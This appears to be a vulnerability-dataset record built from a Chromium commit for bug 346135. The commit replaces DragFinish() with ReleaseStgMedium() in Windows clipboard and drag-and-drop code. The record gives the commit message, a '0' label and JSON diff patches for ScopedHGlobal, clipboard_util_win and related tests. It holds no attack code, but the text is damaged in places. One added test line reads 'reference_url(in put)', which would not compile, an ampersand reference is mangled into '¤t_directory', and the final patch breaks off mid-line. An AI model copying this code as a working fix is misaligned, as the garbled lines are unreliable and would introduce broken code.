- It incorrectly used ::DragFinish() instead of ::ReleaseStgMedium().
::DragFinish() is only meant to be used in conjunction with WM_DROPFILES.
BUG=346135
Review URL: https://codereview.chromium.org/380553002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@283226 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
ui/base/dragdrop/os_exchange_data_provider_win.cc
|
{"sha": "185ccbd5f0cf017960df480e9f2d5f855f01294b", "filename": "base/win/scoped_hglobal.h", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/base/win/scoped_hglobal.h", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/base/win/scoped_hglobal.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/base/win/scoped_hglobal.h?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -17,31 +17,31 @@ template<class T>\n class ScopedHGlobal {\n public:\n explicit ScopedHGlobal(HGLOBAL glob) : glob_(glob) {\n- data_ = static_cast<T*>(GlobalLock(glob_));\n+ data_ = static_cast<T>(GlobalLock(glob_));\n }\n ~ScopedHGlobal() {\n GlobalUnlock(glob_);\n }\n \n- T* get() { return data_; }\n+ T get() { return data_; }\n \n size_t Size() const { return GlobalSize(glob_); }\n \n- T* operator->() const {\n+ T operator->() const {\n assert(data_ != 0);\n return data_;\n }\n \n- T* release() {\n- T* data = data_;\n+ T release() {\n+ T data = data_;\n data_ = NULL;\n return data;\n }\n \n private:\n HGLOBAL glob_;\n \n- T* data_;\n+ T data_;\n \n DISALLOW_COPY_AND_ASSIGN(ScopedHGlobal);\n };"}<_**next**_>{"sha": "d56ee60e312a813fb31de080b9253d4141144d3f", "filename": "printing/backend/print_backend_win.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/printing/backend/print_backend_win.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/printing/backend/print_backend_win.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/printing/backend/print_backend_win.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -30,7 +30,7 @@ HRESULT StreamOnHGlobalToString(IStream* stream, std::string* out) {\n HRESULT hr = GetHGlobalFromStream(stream, &hdata);\n if (SUCCEEDED(hr)) {\n DCHECK(hdata);\n- base::win::ScopedHGlobal<char> locked_data(hdata);\n+ base::win::ScopedHGlobal<char*> locked_data(hdata);\n out->assign(locked_data.release(), locked_data.Size());\n }\n return hr;"}<_**next**_>{"sha": "288517948a32e7302be5767c1b0edf139110d20d", "filename": "remoting/host/clipboard_win.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/remoting/host/clipboard_win.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/remoting/host/clipboard_win.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/remoting/host/clipboard_win.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -242,7 +242,7 @@ void ClipboardWin::OnClipboardUpdate() {\n return;\n }\n \n- base::win::ScopedHGlobal<WCHAR> text_lock(text_global);\n+ base::win::ScopedHGlobal<WCHAR*> text_lock(text_global);\n if (!text_lock.get()) {\n LOG(WARNING) << \"Couldn't lock clipboard data: \" << GetLastError();\n return;"}<_**next**_>{"sha": "77da99c465811383df61494d9d3ac80c7475a207", "filename": "ui/base/clipboard/clipboard_util_win.cc", "status": "modified", "additions": 100, "deletions": 110, "changes": 210, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/clipboard/clipboard_util_win.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/clipboard/clipboard_util_win.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/base/clipboard/clipboard_util_win.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -12,10 +12,13 @@\n #include \"base/logging.h\"\n #include \"base/strings/string_util.h\"\n #include \"base/strings/stringprintf.h\"\n+#include \"base/strings/sys_string_conversions.h\"\n #include \"base/strings/utf_string_conversions.h\"\n #include \"base/win/scoped_hglobal.h\"\n+#include \"net/base/filename_util.h\"\n #include \"ui/base/clipboard/clipboard.h\"\n #include \"ui/base/clipboard/custom_data_helper.h\"\n+#include \"url/gurl.h\"\n \n namespace ui {\n \n@@ -34,118 +37,72 @@ bool GetData(IDataObject* data_object,\n }\n \n bool GetUrlFromHDrop(IDataObject* data_object,\n- base::string16* url,\n+ GURL* url,\n base::string16* title) {\n DCHECK(data_object && url && title);\n \n+ bool success = false;\n STGMEDIUM medium;\n if (!GetData(data_object, Clipboard::GetCFHDropFormatType(), &medium))\n return false;\n \n- HDROP hdrop = static_cast<HDROP>(GlobalLock(medium.hGlobal));\n-\n- if (!hdrop)\n- return false;\n-\n- bool success = false;\n- wchar_t filename[MAX_PATH];\n- if (DragQueryFileW(hdrop, 0, filename, arraysize(filename))) {\n- wchar_t url_buffer[INTERNET_MAX_URL_LENGTH];\n- if (0 == _wcsicmp(PathFindExtensionW(filename), L\".url\") &&\n- GetPrivateProfileStringW(L\"InternetShortcut\", L\"url\", 0, url_buffer,\n- arraysize(url_buffer), filename)) {\n- url->assign(url_buffer);\n- PathRemoveExtension(filename);\n- title->assign(PathFindFileName(filename));\n- success = true;\n+ {\n+ base::win::ScopedHGlobal<HDROP> hdrop(medium.hGlobal);\n+\n+ if (!hdrop.get())\n+ return false;\n+\n+ wchar_t filename[MAX_PATH];\n+ if (DragQueryFileW(hdrop.get(), 0, filename, arraysize(filename))) {\n+ wchar_t url_buffer[INTERNET_MAX_URL_LENGTH];\n+ if (0 == _wcsicmp(PathFindExtensionW(filename), L\".url\") &&\n+ GetPrivateProfileStringW(L\"InternetShortcut\",\n+ L\"url\",\n+ 0,\n+ url_buffer,\n+ arraysize(url_buffer),\n+ filename)) {\n+ *url = GURL(url_buffer);\n+ PathRemoveExtension(filename);\n+ title->assign(PathFindFileName(filename));\n+ success = url->is_valid();\n+ }\n }\n }\n \n- DragFinish(hdrop);\n- GlobalUnlock(medium.hGlobal);\n- // We don't need to call ReleaseStgMedium here because as far as I can tell,\n- // DragFinish frees the hGlobal for us.\n+ ReleaseStgMedium(&medium);\n return success;\n }\n \n void SplitUrlAndTitle(const base::string16& str,\n- base::string16* url,\n+ GURL* url,\n base::string16* title) {\n DCHECK(url && title);\n size_t newline_pos = str.find('\\n');\n if (newline_pos != base::string16::npos) {\n- url->assign(str, 0, newline_pos);\n+ *url = GURL(base::string16(str, 0, newline_pos));\n title->assign(str, newline_pos + 1, base::string16::npos);\n } else {\n- url->assign(str);\n+ *url = GURL(str);\n title->assign(str);\n }\n }\n \n-bool GetFileUrl(IDataObject* data_object, base::string16* url,\n- base::string16* title) {\n- STGMEDIUM store;\n- if (GetData(data_object, Clipboard::GetFilenameWFormatType(), &store)) {\n- bool success = false;\n- {\n- // filename using unicode\n- base::win::ScopedHGlobal<wchar_t> data(store.hGlobal);\n- if (data.get() && data.get()[0] &&\n- (PathFileExists(data.get()) || PathIsUNC(data.get()))) {\n- wchar_t file_url[INTERNET_MAX_URL_LENGTH];\n- DWORD file_url_len = arraysize(file_url);\n- if (SUCCEEDED(::UrlCreateFromPathW(data.get(), file_url, &file_url_len,\n- 0))) {\n- url->assign(file_url);\n- title->assign(file_url);\n- success = true;\n- }\n- }\n- }\n- ReleaseStgMedium(&store);\n- if (success)\n- return true;\n- }\n-\n- if (GetData(data_object, Clipboard::GetFilenameFormatType(), &store)) {\n- bool success = false;\n- {\n- // filename using ascii\n- base::win::ScopedHGlobal<char> data(store.hGlobal);\n- if (data.get() && data.get()[0] && (PathFileExistsA(data.get()) ||\n- PathIsUNCA(data.get()))) {\n- char file_url[INTERNET_MAX_URL_LENGTH];\n- DWORD file_url_len = arraysize(file_url);\n- if (SUCCEEDED(::UrlCreateFromPathA(data.get(), file_url, &file_url_len,\n- 0))) {\n- url->assign(base::UTF8ToWide(file_url));\n- title->assign(*url);\n- success = true;\n- }\n- }\n- }\n- ReleaseStgMedium(&store);\n- if (success)\n- return true;\n- }\n- return false;\n-}\n-\n } // namespace\n \n bool ClipboardUtil::HasUrl(IDataObject* data_object, bool convert_filenames) {\n DCHECK(data_object);\n return HasData(data_object, Clipboard::GetMozUrlFormatType()) ||\n HasData(data_object, Clipboard::GetUrlWFormatType()) ||\n HasData(data_object, Clipboard::GetUrlFormatType()) ||\n- (convert_filenames && (\n- HasData(data_object, Clipboard::GetFilenameWFormatType()) ||\n- HasData(data_object, Clipboard::GetFilenameFormatType())));\n+ (convert_filenames && HasFilenames(data_object));\n }\n \n bool ClipboardUtil::HasFilenames(IDataObject* data_object) {\n DCHECK(data_object);\n- return HasData(data_object, Clipboard::GetCFHDropFormatType());\n+ return HasData(data_object, Clipboard::GetCFHDropFormatType()) ||\n+ HasData(data_object, Clipboard::GetFilenameWFormatType()) ||\n+ HasData(data_object, Clipboard::GetFilenameFormatType());\n }\n \n bool ClipboardUtil::HasFileContents(IDataObject* data_object) {\n@@ -166,7 +123,9 @@ bool ClipboardUtil::HasPlainText(IDataObject* data_object) {\n }\n \n bool ClipboardUtil::GetUrl(IDataObject* data_object,\n- base::string16* url, base::string16* title, bool convert_filenames) {\n+ GURL* url,\n+ base::string16* title,\n+ bool convert_filenames) {\n DCHECK(data_object && url && title);\n if (!HasUrl(data_object, convert_filenames))\n return false;\n@@ -180,28 +139,33 @@ bool ClipboardUtil::GetUrl(IDataObject* data_object,\n GetData(data_object, Clipboard::GetUrlWFormatType(), &store)) {\n {\n // Mozilla URL format or unicode URL\n- base::win::ScopedHGlobal<wchar_t> data(store.hGlobal);\n+ base::win::ScopedHGlobal<wchar_t*> data(store.hGlobal);\n SplitUrlAndTitle(data.get(), url, title);\n }\n ReleaseStgMedium(&store);\n- return true;\n+ return url->is_valid();\n }\n \n if (GetData(data_object, Clipboard::GetUrlFormatType(), &store)) {\n {\n // URL using ascii\n- base::win::ScopedHGlobal<char> data(store.hGlobal);\n+ base::win::ScopedHGlobal<char*> data(store.hGlobal);\n SplitUrlAndTitle(base::UTF8ToWide(data.get()), url, title);\n }\n ReleaseStgMedium(&store);\n- return true;\n+ return url->is_valid();\n }\n \n if (convert_filenames) {\n- return GetFileUrl(data_object, url, title);\n- } else {\n- return false;\n+ std::vector<base::string16> filenames;\n+ if (!GetFilenames(data_object, &filenames))\n+ return false;\n+ DCHECK_GT(filenames.size(), 0U);\n+ *url = net::FilePathToFileURL(base::FilePath(filenames[0]));\n+ return url->is_valid();\n }\n+\n+ return false;\n }\n \n bool ClipboardUtil::GetFilenames(IDataObject* data_object,\n@@ -211,27 +175,48 @@ bool ClipboardUtil::GetFilenames(IDataObject* data_object,\n return false;\n \n STGMEDIUM medium;\n- if (!GetData(data_object, Clipboard::GetCFHDropFormatType(), &medium))\n- return false;\n+ if (GetData(data_object, Clipboard::GetCFHDropFormatType(), &medium)) {\n+ {\n+ base::win::ScopedHGlobal<HDROP> hdrop(medium.hGlobal);\n+ if (!hdrop.get())\n+ return false;\n+\n+ const int kMaxFilenameLen = 4096;\n+ const unsigned num_files = DragQueryFileW(hdrop.get(), 0xffffffff, 0, 0);\n+ for (unsigned int i = 0; i < num_files; ++i) {\n+ wchar_t filename[kMaxFilenameLen];\n+ if (!DragQueryFileW(hdrop.get(), i, filename, kMaxFilenameLen))\n+ continue;\n+ filenames->push_back(filename);\n+ }\n+ }\n+ ReleaseStgMedium(&medium);\n+ return true;\n+ }\n \n- HDROP hdrop = static_cast<HDROP>(GlobalLock(medium.hGlobal));\n- if (!hdrop)\n- return false;\n+ if (GetData(data_object, Clipboard::GetFilenameWFormatType(), &medium)) {\n+ {\n+ // filename using unicode\n+ base::win::ScopedHGlobal<wchar_t*> data(medium.hGlobal);\n+ if (data.get() && data.get()[0])\n+ filenames->push_back(data.get());\n+ }\n+ ReleaseStgMedium(&medium);\n+ return true;\n+ }\n \n- const int kMaxFilenameLen = 4096;\n- const unsigned num_files = DragQueryFileW(hdrop, 0xffffffff, 0, 0);\n- for (unsigned int i = 0; i < num_files; ++i) {\n- wchar_t filename[kMaxFilenameLen];\n- if (!DragQueryFileW(hdrop, i, filename, kMaxFilenameLen))\n- continue;\n- filenames->push_back(filename);\n+ if (GetData(data_object, Clipboard::GetFilenameFormatType(), &medium)) {\n+ {\n+ // filename using ascii\n+ base::win::ScopedHGlobal<char*> data(medium.hGlobal);\n+ if (data.get() && data.get()[0])\n+ filenames->push_back(base::SysNativeMBToWide(data.get()));\n+ }\n+ ReleaseStgMedium(&medium);\n+ return true;\n }\n \n- DragFinish(hdrop);\n- GlobalUnlock(medium.hGlobal);\n- // We don't need to call ReleaseStgMedium here because as far as I can tell,\n- // DragFinish frees the hGlobal for us.\n- return true;\n+ return false;\n }\n \n bool ClipboardUtil::GetPlainText(IDataObject* data_object,\n@@ -244,7 +229,7 @@ bool ClipboardUtil::GetPlainText(IDataObject* data_object,\n if (GetData(data_object, Clipboard::GetPlainTextWFormatType(), &store)) {\n {\n // Unicode text\n- base::win::ScopedHGlobal<wchar_t> data(store.hGlobal);\n+ base::win::ScopedHGlobal<wchar_t*> data(store.hGlobal);\n plain_text->assign(data.get());\n }\n ReleaseStgMedium(&store);\n@@ -254,7 +239,7 @@ bool ClipboardUtil::GetPlainText(IDataObject* data_object,\n if (GetData(data_object, Clipboard::GetPlainTextFormatType(), &store)) {\n {\n // ascii text\n- base::win::ScopedHGlobal<char> data(store.hGlobal);\n+ base::win::ScopedHGlobal<char*> data(store.hGlobal);\n plain_text->assign(base::UTF8ToWide(data.get()));\n }\n ReleaseStgMedium(&store);\n@@ -263,8 +248,13 @@ bool ClipboardUtil::GetPlainText(IDataObject* data_object,\n \n // If a file is dropped on the window, it does not provide either of the\n // plain text formats, so here we try to forcibly get a url.\n+ GURL url;\n base::string16 title;\n- return GetUrl(data_object, plain_text, &title, false);\n+ if (GetUrl(data_object, &url, &title, false)) {\n+ *plain_text = base::UTF8ToUTF16(url.spec());\n+ return true;\n+ }\n+ return false;\n }\n \n bool ClipboardUtil::GetHtml(IDataObject* data_object,\n@@ -276,7 +266,7 @@ bool ClipboardUtil::GetHtml(IDataObject* data_object,\n GetData(data_object, Clipboard::GetHtmlFormatType(), &store)) {\n {\n // MS CF html\n- base::win::ScopedHGlobal<char> data(store.hGlobal);\n+ base::win::ScopedHGlobal<char*> data(store.hGlobal);\n \n std::string html_utf8;\n CFHtmlToHtml(std::string(data.get(), data.Size()), &html_utf8, base_url);\n@@ -294,7 +284,7 @@ bool ClipboardUtil::GetHtml(IDataObject* data_object,\n \n {\n // text/html\n- base::win::ScopedHGlobal<wchar_t> data(store.hGlobal);\n+ base::win::ScopedHGlobal<wchar_t*> data(store.hGlobal);\n html->assign(data.get());\n }\n ReleaseStgMedium(&store);\n@@ -314,7 +304,7 @@ bool ClipboardUtil::GetFileContents(IDataObject* data_object,\n if (GetData(\n data_object, Clipboard::GetFileContentZeroFormatType(), &content)) {\n if (TYMED_HGLOBAL == content.tymed) {\n- base::win::ScopedHGlobal<char> data(content.hGlobal);\n+ base::win::ScopedHGlobal<char*> data(content.hGlobal);\n file_contents->assign(data.get(), data.Size());\n }\n ReleaseStgMedium(&content);\n@@ -325,7 +315,7 @@ bool ClipboardUtil::GetFileContents(IDataObject* data_object,\n Clipboard::GetFileDescriptorFormatType(),\n &description)) {\n {\n- base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR> fgd(description.hGlobal);\n+ base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR*> fgd(description.hGlobal);\n // We expect there to be at least one file in here.\n DCHECK_GE(fgd->cItems, 1u);\n filename->assign(fgd->fgd[0].cFileName);\n@@ -346,7 +336,7 @@ bool ClipboardUtil::GetWebCustomData(\n STGMEDIUM store;\n if (GetData(data_object, Clipboard::GetWebCustomDataFormatType(), &store)) {\n {\n- base::win::ScopedHGlobal<char> data(store.hGlobal);\n+ base::win::ScopedHGlobal<char*> data(store.hGlobal);\n ReadCustomDataIntoMap(data.get(), data.Size(), custom_data);\n }\n ReleaseStgMedium(&store);"}<_**next**_>{"sha": "c2171da5f16b636663025bf2e3ae06a3ba145ea0", "filename": "ui/base/clipboard/clipboard_util_win.h", "status": "modified", "additions": 5, "deletions": 1, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/clipboard/clipboard_util_win.h", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/clipboard/clipboard_util_win.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/base/clipboard/clipboard_util_win.h?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -15,6 +15,8 @@\n #include \"base/strings/string16.h\"\n #include \"ui/base/ui_base_export.h\"\n \n+class GURL;\n+\n namespace ui {\n \n class UI_BASE_EXPORT ClipboardUtil {\n@@ -31,8 +33,10 @@ class UI_BASE_EXPORT ClipboardUtil {\n /////////////////////////////////////////////////////////////////////////////\n // Helper methods to extract information from an IDataObject. These methods\n // return true if the requested data type is found in |data_object|.\n+\n+ // Only returns true if url->is_valid() is true.\n static bool GetUrl(IDataObject* data_object,\n- base::string16* url,\n+ GURL* url,\n base::string16* title,\n bool convert_filenames);\n static bool GetFilenames(IDataObject* data_object,"}<_**next**_>{"sha": "1d38f761cd2a923a1b6b481e5993df50290b6312", "filename": "ui/base/dragdrop/os_exchange_data_provider_win.cc", "status": "modified", "additions": 8, "deletions": 11, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_provider_win.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_provider_win.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/base/dragdrop/os_exchange_data_provider_win.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -411,15 +411,12 @@ bool OSExchangeDataProviderWin::GetURLAndTitle(\n base::string16 url_str;\n bool success = ClipboardUtil::GetUrl(\n source_object_,\n- &url_str,\n+ url,\n title,\n policy == OSExchangeData::CONVERT_FILENAMES ? true : false);\n if (success) {\n- GURL test_url(url_str);\n- if (test_url.is_valid()) {\n- *url = test_url;\n- return true;\n- }\n+ DCHECK(url->is_valid());\n+ return true;\n } else if (GetPlainTextURL(source_object_, url)) {\n if (url->is_valid())\n *title = net::GetSuggestedFilename(*url, \"\", \"\", \"\", \"\", std::string());\n@@ -459,7 +456,7 @@ bool OSExchangeDataProviderWin::GetPickledData(\n FORMATETC format_etc = format.ToFormatEtc();\n if (SUCCEEDED(source_object_->GetData(&format_etc, &medium))) {\n if (medium.tymed & TYMED_HGLOBAL) {\n- base::win::ScopedHGlobal<char> c_data(medium.hGlobal);\n+ base::win::ScopedHGlobal<char*> c_data(medium.hGlobal);\n DCHECK_GT(c_data.Size(), 0u);\n *data = Pickle(c_data.get(), static_cast<int>(c_data.Size()));\n success = true;\n@@ -878,7 +875,7 @@ ULONG DataObjectImpl::Release() {\n static STGMEDIUM* GetStorageForBytes(const void* data, size_t bytes) {\n HANDLE handle = GlobalAlloc(GPTR, static_cast<int>(bytes));\n if (handle) {\n- base::win::ScopedHGlobal<uint8> scoped(handle);\n+ base::win::ScopedHGlobal<uint8*> scoped(handle);\n memcpy(scoped.get(), data, bytes);\n }\n \n@@ -935,7 +932,7 @@ static STGMEDIUM* GetStorageForFileName(const base::FilePath& path) {\n kDropSize + (path.value().length() + 2) * sizeof(wchar_t);\n HANDLE hdata = GlobalAlloc(GMEM_MOVEABLE, kTotalBytes);\n \n- base::win::ScopedHGlobal<DROPFILES> locked_mem(hdata);\n+ base::win::ScopedHGlobal<DROPFILES*> locked_mem(hdata);\n DROPFILES* drop_files = locked_mem.get();\n drop_files->pFiles = sizeof(DROPFILES);\n drop_files->fWide = TRUE;\n@@ -1011,7 +1008,7 @@ static STGMEDIUM* GetIDListStorageForFileName(const base::FilePath& path) {\n const size_t kCIDASize = kFirstPIDLOffset + kFirstPIDLSize + kSecondPIDLSize;\n HANDLE hdata = GlobalAlloc(GMEM_MOVEABLE, kCIDASize);\n \n- base::win::ScopedHGlobal<CIDA> locked_mem(hdata);\n+ base::win::ScopedHGlobal<CIDA*> locked_mem(hdata);\n CIDA* cida = locked_mem.get();\n cida->cidl = 1; // We have one PIDL (not including the 0th root PIDL).\n cida->aoffset[0] = kFirstPIDLOffset;\n@@ -1034,7 +1031,7 @@ static STGMEDIUM* GetStorageForFileDescriptor(\n base::string16 file_name = path.value();\n DCHECK(!file_name.empty());\n HANDLE hdata = GlobalAlloc(GPTR, sizeof(FILEGROUPDESCRIPTOR));\n- base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR> locked_mem(hdata);\n+ base::win::ScopedHGlobal<FILEGROUPDESCRIPTOR*> locked_mem(hdata);\n \n FILEGROUPDESCRIPTOR* descriptor = locked_mem.get();\n descriptor->cItems = 1;"}<_**next**_>{"sha": "39364bf4a73d4b330729e5f2f61356d9bc47ddfa", "filename": "ui/base/dragdrop/os_exchange_data_unittest.cc", "status": "modified", "additions": 49, "deletions": 3, "changes": 52, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/base/dragdrop/os_exchange_data_unittest.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -2,9 +2,11 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n+#include \"base/file_util.h\"\n #include \"base/message_loop/message_loop.h\"\n #include \"base/pickle.h\"\n #include \"base/strings/utf_string_conversions.h\"\n+#include \"net/base/filename_util.h\"\n #include \"testing/gtest/include/gtest/gtest.h\"\n #include \"testing/platform_test.h\"\n #include \"ui/base/dragdrop/os_exchange_data.h\"\n@@ -38,8 +40,8 @@ TEST_F(OSExchangeDataTest, StringDataGetAndSet) {\n std::string url_spec = \"http://www.goats.com/\";\n GURL url(url_spec);\n base::string16 title;\n- EXPECT_FALSE(\n- data2.GetURLAndTitle(OSExchangeData::CONVERT_FILENAMES, &url, &title));\n+ EXPECT_FALSE(data2.GetURLAndTitle(\n+ OSExchangeData::DO_NOT_CONVERT_FILENAMES, &url, &title));\n // No URLs in |data|, so url should be untouched.\n EXPECT_EQ(url_spec, url.spec());\n }\n@@ -87,11 +89,55 @@ TEST_F(OSExchangeDataTest, URLAndString) {\n GURL output_url;\n base::string16 output_title;\n EXPECT_TRUE(data.GetURLAndTitle(\n- OSExchangeData::CONVERT_FILENAMES, &output_url, &output_title));\n+ OSExchangeData::DO_NOT_CONVERT_FILENAMES, &output_url, &output_title));\n EXPECT_EQ(url_spec, output_url.spec());\n EXPECT_EQ(url_title, output_title);\n }\n \n+TEST_F(OSExchangeDataTest, TestFileToURLConversion) {\n+ OSExchangeData data;\n+ EXPECT_FALSE(data.HasURL(OSExchangeData::DO_NOT_CONVERT_FILENAMES));\n+ EXPECT_FALSE(data.HasURL(OSExchangeData::CONVERT_FILENAMES));\n+ EXPECT_FALSE(data.HasFile());\n+\n+ base::FilePath current_directory;\n+ ASSERT_TRUE(base::GetCurrentDirectory(¤t_directory));\n+\n+ data.SetFilename(current_directory);\n+ {\n+ EXPECT_FALSE(data.HasURL(OSExchangeData::DO_NOT_CONVERT_FILENAMES));\n+ GURL actual_url;\n+ base::string16 actual_title;\n+ EXPECT_FALSE(data.GetURLAndTitle(\n+ OSExchangeData::DO_NOT_CONVERT_FILENAMES, &actual_url, &actual_title));\n+ EXPECT_EQ(GURL(), actual_url);\n+ EXPECT_EQ(base::string16(), actual_title);\n+ }\n+ {\n+// Filename to URL conversion is not implemented on ChromeOS.\n+#if !defined(OS_CHROMEOS)\n+ const bool expected_success = true;\n+ const GURL expected_url(net::FilePathToFileURL(current_directory));\n+#else\n+ const bool expected_success = false;\n+ const GURL expected_url;\n+#endif\n+ EXPECT_EQ(expected_success, data.HasURL(OSExchangeData::CONVERT_FILENAMES));\n+ GURL actual_url;\n+ base::string16 actual_title;\n+ EXPECT_EQ(\n+ expected_success,\n+ data.GetURLAndTitle(\n+ OSExchangeData::CONVERT_FILENAMES, &actual_url, &actual_title));\n+ EXPECT_EQ(expected_url, actual_url);\n+ EXPECT_EQ(base::string16(), actual_title);\n+ }\n+ EXPECT_TRUE(data.HasFile());\n+ base::FilePath actual_path;\n+ EXPECT_TRUE(data.GetFilename(&actual_path));\n+ EXPECT_EQ(current_directory, actual_path);\n+}\n+\n TEST_F(OSExchangeDataTest, TestPickledData) {\n const OSExchangeData::CustomFormat kTestFormat =\n ui::Clipboard::GetFormatType(\"application/vnd.chromium.test\");"}<_**next**_>{"sha": "36f235a959b6690996de3481acf87a147ebb01c1", "filename": "ui/base/dragdrop/os_exchange_data_win_unittest.cc", "status": "modified", "additions": 10, "deletions": 10, "changes": 20, "blob_url": "https://github.com/chromium/chromium/blob/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_win_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/e93dc535728da259ec16d1c3cc393f80b25f64ae/ui/base/dragdrop/os_exchange_data_win_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/ui/base/dragdrop/os_exchange_data_win_unittest.cc?ref=e93dc535728da259ec16d1c3cc393f80b25f64ae", "patch": "@@ -29,7 +29,7 @@ TEST(OSExchangeDataWinTest, StringDataAccessViaCOM) {\n STGMEDIUM medium;\n EXPECT_EQ(S_OK, com_data->GetData(&format_etc, &medium));\n std::wstring output =\n- base::win::ScopedHGlobal<wchar_t>(medium.hGlobal).get();\n+ base::win::ScopedHGlobal<wchar_t*>(medium.hGlobal).get();\n EXPECT_EQ(input, output);\n ReleaseStgMedium(&medium);\n }\n@@ -51,7 +51,7 @@ TEST(OSExchangeDataWinTest, StringDataWritingViaCOM) {\n HGLOBAL glob = GlobalAlloc(GPTR, sizeof(wchar_t) * (input.size() + 1));\n size_t stringsz = input.size();\n SIZE_T sz = GlobalSize(glob);\n- base::win::ScopedHGlobal<wchar_t> global_lock(glob);\n+ base::win::ScopedHGlobal<wchar_t*> global_lock(glob);\n wchar_t* buffer_handle = global_lock.get();\n wcscpy_s(buffer_handle, input.size() + 1, input.c_str());\n medium.hGlobal = glob;\n@@ -66,7 +66,7 @@ TEST(OSExchangeDataWinTest, StringDataWritingViaCOM) {\n std::wstring title;\n EXPECT_TRUE(data2.GetURLAndTitle(\n OSExchangeData::CONVERT_FILENAMES, &url_from_data, &title));\n- GURL reference_url(input);\n+ GURL reference_url(in put);\n EXPECT_EQ(reference_url.spec(), url_from_data.spec());\n }\n \n@@ -89,7 +89,7 @@ TEST(OSExchangeDataWinTest, RemoveData) {\n HGLOBAL glob = GlobalAlloc(GPTR, sizeof(wchar_t) * (input.size() + 1));\n size_t stringsz = input.size();\n SIZE_T sz = GlobalSize(glob);\n- base::win::ScopedHGlobal<wchar_t> global_lock(glob);\n+ base::win::ScopedHGlobal<wchar_t*> global_lock(glob);\n wchar_t* buffer_handle = global_lock.get();\n wcscpy_s(buffer_handle, input.size() + 1, input.c_str());\n medium.hGlobal = glob;\n@@ -101,7 +101,7 @@ TEST(OSExchangeDataWinTest, RemoveData) {\n HGLOBAL glob = GlobalAlloc(GPTR, sizeof(wchar_t) * (input2.size() + 1));\n size_t stringsz = input2.size();\n SIZE_T sz = GlobalSize(glob);\n- base::win::ScopedHGlobal<wchar_t> global_lock(glob);\n+ base::win::ScopedHGlobal<wchar_t*> global_lock(glob);\n wchar_t* buffer_handle = global_lock.get();\n wcscpy_s(buffer_handle, input2.size() + 1, input2.c_str());\n medium.hGlobal = glob;\n@@ -136,7 +136,7 @@ TEST(OSExchangeDataWinTest, URLDataAccessViaCOM) {\n STGMEDIUM medium;\n EXPECT_EQ(S_OK, com_data->GetData(&format_etc, &medium));\n std::wstring output =\n- base::win::ScopedHGlobal<wchar_t>(medium.hGlobal).get();\n+ base::win::ScopedHGlobal<wchar_t*>(medium.hGlobal).get();\n EXPECT_EQ(url.spec(), base::WideToUTF8(output));\n ReleaseStgMedium(&medium);\n }\n@@ -163,15 +163,15 @@ TEST(OSExchangeDataWinTest, MultipleFormatsViaCOM) {\n STGMEDIUM medium;\n EXPECT_EQ(S_OK, com_data->GetData(&url_format_etc, &medium));\n std::wstring output_url =\n- base::win::ScopedHGlobal<wchar_t>(medium.hGlobal).get();\n+ base::win::ScopedHGlobal<wchar_t*>(medium.hGlobal).get();\n EXPECT_EQ(url.spec(), base::WideToUTF8(output_url));\n ReleaseStgMedium(&medium);\n \n // The text is supposed to be the raw text of the URL, _NOT_ the value of\n // |text|! This is because the URL is added first and thus takes precedence!\n EXPECT_EQ(S_OK, com_data->GetData(&text_format_etc, &medium));\n std::wstring output_text =\n- base::win::ScopedHGlobal<wchar_t>(medium.hGlobal).get();\n+ 